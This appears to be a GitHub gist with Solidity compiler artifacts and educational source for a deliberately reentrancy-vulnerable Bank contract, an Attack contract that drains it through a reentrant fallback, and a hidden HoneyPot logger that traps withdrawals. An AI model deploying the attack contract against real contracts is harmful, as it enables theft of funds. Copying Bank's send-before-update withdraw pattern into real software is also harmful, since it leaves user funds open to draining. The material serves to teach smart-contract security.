11;4906:18;4902:1;4897:3;4893:11;4886:39;4858:2;4855:1;4851:10;4846:15;;4822:113;;;4953:6;4950:1;4947:13;4944:101;;;5033:1;5024:6;5019:3;5015:16;5008:27;4944:101;4793:258;4744:307;;;:::o;5057:364::-;5145:3;5173:39;5206:5;5173:39;:::i;:::-;5228:71;5292:6;5287:3;5228:71;:::i;:::-;5221:78;;5308:52;5353:6;5348:3;5341:4;5334:5;5330:16;5308:52;:::i;:::-;5385:29;5407:6;5385:29;:::i;:::-;5380:3;5376:39;5369:46;;5149:272;5057:364;;;;:::o;5427:533::-;5596:4;5634:2;5623:9;5619:18;5611:26;;5647:71;5715:1;5704:9;5700:17;5691:6;5647:71;:::i;:::-;5728:72;5796:2;5785:9;5781:18;5772:6;5728:72;:::i;:::-;5847:9;5841:4;5837:20;5832:2;5821:9;5817:18;5810:48;5875:78;5948:4;5939:6;5875:78;:::i;:::-;5867:86;;5427:533;;;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "205400",
"executionCost": "251",
"totalCost": "205651"
},
"external": {
"log(address,uint256,string)": "infinite"
}
},
"methodIdentifiers": {
"log(address,uint256,string)": "a1f2e8aa"
}
},
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"internalType": "address",
"name": "caller",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "amount",
"type": "uint256"
},
{
"indexed": false,
"internalType": "string",
"name": "action",
"type": "string"
}
],
"name": "Log",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "_caller",
"type": "address"
},
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
},
{
"internalType": "string",
"name": "_action",
"type": "string"
}
],
"name": "log",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"internalType": "address",
"name": "caller",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "amount",
"type": "uint256"
},
{
"indexed": false,
"internalType": "string",
"name": "action",
"type": "string"
}
],
"name": "Log",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "_caller",
"type": "address"
},
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
},
{
"internalType": "string",
"name": "_action",
"type": "string"
}
],
"name": "log",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Bank.sol": "Logger"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Bank.sol": {
"keccak256": "0xca6c3e30fdf391d2eb8f6310769a0954ad2bb0e230701c7bf99a2437ee5370fa",
"license": "MIT",
"urls": [
"bzz-raw://4a457b5ddbed5228b66ba1de93649322c5f0d1fa46bc093a276a8401636be8f1",
"dweb:/ipfs/QmXR2poWzXwQrqCuvz6HkA93fNy75XxJHPXfL9xWzgtgEK"
]
}
},
"version": 1
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Bank {
mapping(address => uint) public balances;
Logger logger;
constructor(Logger _logger) {
logger = Logger(_logger);
}
function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Deposit");
}
function withdraw(uint _amount) public {
require(_amount <= balances[msg.sender], "Insufficient funds");
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
logger.log(msg.sender, _amount, "Withdraw");
}
}
contract Logger {
event Log(address caller, uint amount, string action);
function log(
address _caller,
uint _amount,
string memory _action
) public {
emit Log(_caller, _amount, _action);
}
}
// Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
function log(
address _caller,
uint _amount,
string memory _action
) public {
if (equal(_action, "Withdraw")) {
revert("It's a trap");
}
}
// Function to compare strings using keccak256
function equal(string memory _a, string memory _b) public pure returns (bool) {
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment